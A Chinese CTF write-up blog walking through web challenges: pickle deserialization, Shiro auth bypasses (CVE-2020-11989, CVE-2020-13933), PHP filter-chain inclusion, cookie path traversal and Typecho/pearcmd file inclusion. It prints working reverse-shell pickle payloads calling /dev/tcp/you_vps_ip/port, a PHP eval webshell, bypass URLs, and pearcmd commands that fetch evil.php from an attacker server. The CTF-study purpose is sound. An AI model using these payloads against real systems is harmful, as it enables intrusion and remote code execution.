web有3个都是有了包浆的原题……还有一点脑洞题,反正奇奇怪怪的

属于是被师傅们带飞了,所以详细的wp还是自己写一写,认真地复现一下

zerocalc

image-20211024031549328

emmmmmm 说实话一开始没有出 因为没悟出来它这是个什么逻辑2333333

ezPickle

# 用pker.py生成payload
notadmin=GLOBAL('config','notadmin')
notadmin["admin"]="yes"
exec=GLOBAL('config','backdoor')
payload='''__import__('subprocess').call(\"echo -e '#!/bin/bash\\nsh -i >& /dev/tcp/you_vps_ip/port 0>&1'>x && bash x && rm -rf x\",shell=True)'''
exec(payload)
return
>>> data=b'cconfig\nnotadmin\np0\n0g0\nS\'admin\'\nS\'yes\'\nscconfig\nbackdoor\np2\n0S\'__import__(\\\'subprocess\\\').call("echo -e \\\'#!/bin/bash\\\\nsh -i >& /dev/tcp/you_vps_ip/port 0>&1\\\'>x && bash x && rm -rf x",shell=True)\'\np3\n0g2\n(g3\ntR.'
>>> print(base64.b64encode(data))
b'xxxxxxxxxx'

image-20211023215957693

没什么好说的,基础的pickle题,是2021巅峰极客what_pickle的阉割版(构造的思路几乎一样 但是简单很多),几乎一样的题目还有 [SUCTF 2019]Guess Game

限制的点在于只允许引入题目自设模块&限制模块中含下划线,那就直接变量覆盖,然后利用给出的eval()弹shell就好了

————另外这里的payload也可以是简短版本的弹sehll的payload 不唯一嘛

data = b'cconfig\nnotadmin\np0\n0g0\nS\'admin\'\nS\'yes\'\nscconfig\nbackdoor\np2\n0S\'__import__("os").system("bash -c \\\'exec bash -i &>/dev/tcp/you_vps_ip/port <&1\\\'")\'\np3\n0g2\n(g3\ntR.'

一个需要注意的点是由于这里的反序列化入口是get传参,所以遇到+号会出问题,传进去之前要先urlencode(encode all special chars)

————顺带练个手,搓一个不含b'R'的opcode(用b'o'代替)

data = b'''cconfig\nnotadmin\np0\n0g0\nS\'admin\'\nS\'yes\'\nscconfig\nbackdoor\np2\n0S\'__import__("os").system("bash -c \\\'exec bash -i &>/dev/tcp/you_vps_ip/port <&1\\\'")\'\np3\n0(g2\ng3\no.'''

传参的时候记得再urlencode一下~~~

————之前我的总结笔记已经相当全面了 可以出CTF教科书了233333

Jack-Shiro

属于是原题了属于是属于是属于是烤烂了已经,参见 [红明谷CTF 2021] JavaWeb | [天翼杯 2021] jackson | [NPUCTF2020] EzShiro (虽然我自己根本没发现 实在是做过的题太少了 java更是不会 我的

/login下有个登录,回显/json,返回的cookie有个rememberMe=deleteMe,可以知道是shiro

访问/json,后面会带一堆get请求的参数,用/;/json绕过(cve-2020-11989)

上工具JNDI-Injection-Exploit一把梭(问题出在我vps上没有java环境 端口转发又处了亿点点问题…… 所以没有带出来flag),是cve-2020-36188

image-20211024041750586

哭哭

还有个工具是 LdapBypassJndi,差不多的;下面是跟一跟涉及到的几个链子

CVE-2020-11989

参考:Apache Shiro权限绕过漏洞分析(CVE-2020-11989) | Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)

Apache Shiro是一个常用的java安全框架,在1.5.3之前版本中当Shiro与Spring动态控制器一起使用时(Spring框架中只用Shiro鉴权),如果直接访问/shiro/admin/page会302跳转要求登录,而访问/;shiro/admin/page即可绕过权限验证,访问/admin的信息

本地环境搭建&复现

有带佬直接写好的docker可以直接pull拿来用

docker pull jackey0/cve-2020-11989
docker run -p 8426:8080 <image> /bin/sh -c 'java -jar /springboot-shiro-0.0.1-SNAPSHOT.jar'
docker pull jackey0/cve-2020-13933
// docker start <container-id>

或者下载l3yx/springboot-shiro项目到本地编译为war包(或者也有编译好的shiro.war)之后手动放入tomcat下的webapps目录下运行。显然docker太香了!!!!!

image-20211025224051899

访问映射到外部的8426端口,环境搭建完毕

image-20211025224115269

post方式请求/doLogin页面,看到cookie中含rememberMe=deleteMe,确定为shiro

访问/admin/page页面,302重定向至/login页面要求登录

image-20211025232735464

访问/;/admin/page页面,绕过鉴权,回显admin page

image-20211025232717422

源码分析&动调

先把jar包下载到在本地,导入idea

docker cp <container-id>:/springboot-shiro-0.0.1-SNAPSHOT.jar /home/name/t3mp/

使用idea远程对docker中部署的springboot项目进行debug

image-20211026033544920

docker run -p 8426:8080 -p 8001:1456 3eefd8918689 /bin/sh -c 'java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1456  /springboot-shiro-0.0.1-SNAPSHOT.jar'

Shiro的权限校验是通过判断url的匹配来进行的,如果Shiro获取的url和web框架处理的url结果不一致时就造成了权限绕过;Shiro对于url的获取和匹配在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain中进行。

以访问/;/admin/page为例,通过它的getPathWithinApplication()得到的requestURI="/"

image-20211026105323534

跟入此函数的处理逻辑org.apache.shiro.web.util.WebUtils#getPathWithinApplication,进入getRequestUri()

image-20211026113806371

我们可以看到在中间过程中uri="/;/admin/page",但是从上面我们可以知道经过normalize(decodeCleanUriString())处理过后返回的requestRUI="/",跟入这个函数,它先是调用decodeRequestSrting(),没有对结果产生什么影响,

image-20211026114857281

而返回时的normalize()会根据";“进行url的截断处理,最终返回”/"

回到开头的/;/admin/page请求,spring中处理url的函数在org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping

image-20211026115653673

它调用的是springframework中自己getPathWithinApplication(),经过一番骚操作返回的是/admin/page

image-20211026115916664

跟入getPathWitinApplication(),先是调用getContextPath(),返回"/"

image-20211026120922475

然后是getRequestUri()

image-20211026121402778

同样,在最终return之前的uri="/;/admin/page",经过了一个decodeAndCleanUriString(),根据ch=59也就是";“符进行一个分割,使用removeSemicolonContentInternal()

image-20211026121749767

于是”;“就不见了

image-20211026122016422

image-20211026122121074

然后返回”/admin/page"给getPathWithinApplication()

image-20211026122204403

再传递给getPathWithinServletMapping()

image-20211026122355835

最终我们访问到的页面就是"/admin/page"了

————总结一下就是当url在shiro和spring中的处理不一致,当进入应用时被认作是访问"/;/admin/page",不属于我们最初配置的"/admin/*“权限路由,而进入shiro后却被截断处理,认作是”/admin/page",属于权限路由中,最终做到权限绕过

CVE-2020-13933

由于11989的修补并不完全,导致又又又被绕过产生了13933……

本地环境搭建&复现

参考:shiro < 1.6.0的认证绕过漏洞分析(CVE-2020-13933)

还是采用docker形式复现(我爱docker)这里直接就是远程调试的启动命令啦,跟上面的一样配置就好了(

docker pull jackey0/cve-2020-13933
docker run -p 8426:8080 -p 8001:1456 3eefd8918689 /bin/sh -c 'java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1456  /springboot-shiro-0.0.1-SNAPSHOT.jar'

访问/admin,报错页面且无302跳转;访问/login跳转到身份验证页面;访问/admin/%3bpage,无身份验证且返回admin page

image-20211026171901636

原理分析&动调

还是导入jar包至idea,远程debug

直接看看shiro1.6.0的补丁补到了什么地方,在github上查看diff

image-20211026175139677

增加了InvalidRequestFilter类,有个isAccessAllowed()函数,在全局上对分号、反斜杠、非ASCII码字符进行了过滤

以访问/admin/%3bpage为例,url先由shiro解析,还是org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain,依旧是调用getPathWithinApplication(),执行后requestURI="/admin/"

image-20211026181015088

而之后进入springboot处理时,却变成了"/admin/;page"

image-20211026181252374

再回到最初跟一下具体的调用链

image-20211026182540363

removeSemicolon()处理前,uri="/admin/;page"(经decodeAndUriString()解码了)

image-20211026182711164

处理后path="/admin",接着调用normalize()函数变成"/admin",传递给最初的getChain()中的requestURI参数

image-20211026183041350

之后被spring处理org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping,其中会调用getRequestUri(),它会再次调用decodeAndCleanUriString()

image-20211026183542060

removeSemicolonContent()decodeRequestString(),那显然是怎么都去不掉";“了,将”;page"看作一个整体

image-20211026184529505

我们回过头去看这次的权限设置是怎么匹配url的,定位到org.syclover.srpingbootshiro.LoginControllerorg.syclover.srpingbootshiro.ShiroConfig#shiroFilterFactoryBean

image-20211026190414964

image-20211026190401468

可以看到,对于"/admin/*“需要鉴权,"/admin/{name}“返回admin page,而对于”/admin/“却没有设置权限

从上面的调试中我们知道shiro得到的是”/admin/"(先decode再去除”;"),被认作可以访问;而spring得到的是"/admin/;page")先去除";“再decode),与”/admin/{name}“的样式匹配,最后返回admin page (简直太完美了也

*临时修复

(本地暂时还未复现

map.put("/admin/**", "authc");
@GetMapping({"/admin/page"})
    public String admin() {
        return "admin page";
    }

***CVE-2020-36188

ch.qos.logback.core.db.JNDIConnectionSource

可以参考 https://www.moonback.xyz/2020/01/16/buuctf%E5%88%B7%E9%A2%98-Java%E7%AF%87/#NPUCTF2020-EzShiro,工具 LdapBypassJndi | JNDI-Injection-Exploit

————由于我的java水平实在够呛,这里暂时先空着,等我学一学java 之后必定回来鞭尸

EasyFilter

<?php
    ini_set("open_basedir","./");
    if(!isset($_GET['action'])){
        highlight_file(__FILE__);
        die();
    }
    if($_GET['action'] == 'w'){
        @mkdir("./files/");
        $content = $_GET['c'];
        $file = bin2hex(random_bytes(5));
        file_put_contents("./files/".$file,base64_encode($content));
        echo "./files/".$file;
    }elseif($_GET['action'] == 'r'){
        $r = $_GET['r'];
        $file = "./files/".$r;
        include("php://filter/resource=$file");
    }
/?action=w&c=<?php @eval($_POST['wuhu']);?>
/?action=r&r=php://filter/read=convert.base64-decode/resource=/../../../../../files/f8b3731ac9
POST: wuhu=phpinfo();

image-20211023214748589

对于payload的底层代码分析

原理分析来自Guoke佬 我只是个会复现的铁沸物……

首先下一份7.2.34的源码

定位到包装器所在的文件位置/ext/standard/php_fopen_wrapper.c,178行起是php_stream_url_wrap_php()的代码

image-20211024210116402

191行,先碰到php://会执行path += 6;之后接着349行会碰到filter/

image-20211024210420398

没有mode,此时

path=filter/resource=./files/php://filter/read=convert.base64-decode/resource=/../../../../../1.txt

357行执行strdup(),把path第6位之后的内容赋给pathdup指针上

pathdup=/resource=./files/php://filter/read=convert.base64-decode/resource=/../../../../../1.txt

358行strstr()返回pathdup的指针中/resource=出现的位置,到365行的判断

p+10=./files/php://filter/read=convert.base64-decode/resource=/../../../../../1.txt

372行的php_strtok_r()对pathdup+1的位置以’/‘为标志进行分割

p=/resource=./files/php://filter/read=convert.base64-decode/resource=/../../../../../1.txt

得到resource=,进373行的while循环,先是到378行的php_stream_apply_filter_list(),转至159行

image-20211024230730886

将p作为过滤器进行注册,161行php_stream_filter_append()应用到文件流上,但显然resource不是流包装器,干不了事,那就再到while循环里接着向后找,直到向后碰到read

p=/read=convert.base64-decode/resource=/../../../../../1.txt

进入374行,执行php_stream_apply_filter_list之后就变成了

p=convert.base64-decode/resource=/../../../../../1.txt

此时的p=convert.base64-decode,就可以正常的b64解码我们的内容了

再回头看这个题

代码很短,限制在于写入的文件内容被b64加密&open_basedir&include已经写好的包装器和一部分固定的内容

我刚开始卡在了已经写死的包装器的开头还怎么加conver.base64-decode?然后发现是我想多了,可以接着套,底层原理见上,会向后循环取值直到碰到一个正常的流包装器

第二个问题就是目录穿越了,前面加了5层buff,从结果倒推感觉可以理解,但是自己却没试出来,我的问题

最后open_basedir的绕过反而是最轻松的,蚁剑插件直接搞

参考:深入理解PHP之require/include顺序 | Exploit with PHP Protocols / Wrappers | 谈一谈php://filter的妙用

new_hospital

响应cookie会有个API

image-20211023225411779

将API设为flag.php ZmxhZy5waHA%3d

image-20211023230544476

扫目录 得到/old/feature.php 将路径改为这个

image-20211023230842820

将API改为../flag.php Li4vZmxhZy5waHA%3d

image-20211023230912588

————其实如果先扫目录扫到/old/feature.php的话,可以将API设为./feature.php Li9mZWF0dXJlLnBocA%3d%3d 读到这一段

image-20211023231112340

后端的逻辑就是将cookie[‘api’]取出,直接读出内容

有一点点脑洞,也跟眼力见有关系,我一开始是真没注意到这个cookie的API字段,属实是有点大病;之后做题还是要开环境之后就连burp,注意观察响应头的特殊字段 cookie的类型/ctrl+u的源码/可能会有的控制台的提示信息/robots.txt这些东西,不要遗漏,不然就很可惜了

Give_me_you_0day

image-20211023131341209

这里考察的点并不是Typecho 1.1/17.10.30版本的0day(给出的源码就完全是github上的发行版),而是install.php中 608行存在一个文件包含

image-20211023233205364

利用这个文件包含的点来搞,payload可以直接参考[RCTF 2021] VerySafe

image-20211024030247104

image-20211024025903697

image-20211024030018830

打的点在于peclcmd,这里涉及到的题和知识害挺多,之前真没见过(dbq是我做的题太少太少了),在这里一并学习了

关于register_argc_argv配置项

是php.ini核心配置中的一个选项,默认是这样image-20211024002824679

手册是这样写的

image-20211024000219559

image-20211024000145606

image-20211024000543235

从php=4.0.0后为可设置的选项(此前总为On)默认为开启状态,当php<=4.2.3时可修改范围是PHP_INI_ALL,更详细的内容可以参见->PHP的命令行模式

register_argc_argv开启的情况下,cgi和cli模式下都可以直接访问到传入的参数;其中argc是传递过去的参数的个数,argv是包含有实际参数的数组;cli模式测试如下

<?php
var_dump($_SERVER['argv']);
// var_dump($HTTP_SERVER_VARS['argv']);
var_dump($argv);

image-20211024003201497

cgi的话,直接用上面的$_SERVER['argv']是不会获取到值

image-20211024003801051

直接查看$_SERVER这个大数组,可以发现我们的参数在这里是以一整个QUERY_STRING的形式出现的(详细的数组解析->PHP超全局变量$_SERVER的用法

image-20211024012150841

有个特殊的trick在于,如果是

/test.php?a=1&b=1

确实是两个参数,但返回的$_SERVER[‘argv’]为1,如果是

/test.php?a=1+b=1

则会被截断,返回$_SERVER[‘argv’]则为2(说实话我本地真没跑出来这个 可能是哪里的配置有问题?但是看了很多资料,这里应该是可以被复现成功的………………emmmm 有一点点离谱)

image-20211024020719209

关于pear命令

pear是the PHP Extention and Application Repository的缩写,是一个PHP扩展与应用的代码仓库,pear仓库代码以包package分区,每一个pear package都是一个独立的项目,有自己独立的开发团队、版本控制、文档和其他包的依赖关系信息;pear package以phar, tar, zip形式发布,通过apt install php-pear来安装

pear命令的实现是一个sh脚本

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
	PHP="$PHP_PEAR_PHP_BIN"
else
	if test "/usr/local/bin/php" = '@'php_bin'@'; then
		PHP=php
	else
		PHP="/usr/local/bin/php"
	fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
	INCDIR=$PHP_PEAR_INSTALL_DIR
	INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
	if test "/usr/local/lib/php" = '@'php_dir'@'; then
		INCDIR=`dirname $0`
		INCARG=""
	else
		INCDIR="/usr/local/lib/php"
		INCARG="-d include_path=/usr/local/lib/php"
	fi
fi

exec $PHP -C -q $INCARG -d data.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

从最后一行可以看到调用了/pearcmd.php,而这个pearcmd.php的参数$argv就来源于$_SERVER[‘argv’],这个是我们可控的传入参数

利用pear命令执行任意文件下载

如图,直接下载开启了http服务器的目录下的指定文件到当前所在目录

image-20211024020030648

使用install -R而非download可以控制下载到任意目录,比如直接下载到web服务的目录

image-20211024020411477

所以总体思路+payload

如果存在这样的环境

  • 安装pear
  • 开启register_argc_argv
  • 存在可控的传入参数来做到文件包含(比如include $_GET['f'].php
  • 可以出网

我们就可以做到任意文件下载从而getshell;前面也提到register_argc_argv继续PHP_IN_PREDIR,我们可以留一个.user.ini的后门来设置register_argc_agrv为On

payload就是这样了

// 存在 include $_GET['f'].php
// web目录可写
- http://ip:port/include.php?f=/../../../../../../../../../../usr/local/lib/php/pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php
- http://ip:port/tmp/pear/download/evil.php
// tmp目录可写
- http://ip:port/include.php?f=/../../../../../../../../../../usr/local/lib/php/pearcmd&+install+-R+/tmp+http://ip:port/evil.php
- http://ip:port/include.php?f=/tmp/pear/download/evil

首先要包含一个正确位置的pearcmd.php(通常在/usr/local/lib/php/pearcmd.php),接着包含&+download+http://your_vps/eval.php(或者如果前面直接是/pearcmd.php的话就可以直接给参数了/pearcmd.php+download+http://your_vps/eval.php)来装🐎(注意路径是否正确),之后再包含我们的🐎即可

其它的例题

[CampCTF 2015] Trolol

[巅峰极客 2020] MeowWord

[RCTF 2021] VerySafe


还是做的题不够多,已有的知识也应用的不够熟练,实在是太太太太太菜了,得好好学,不能天天划水摸鱼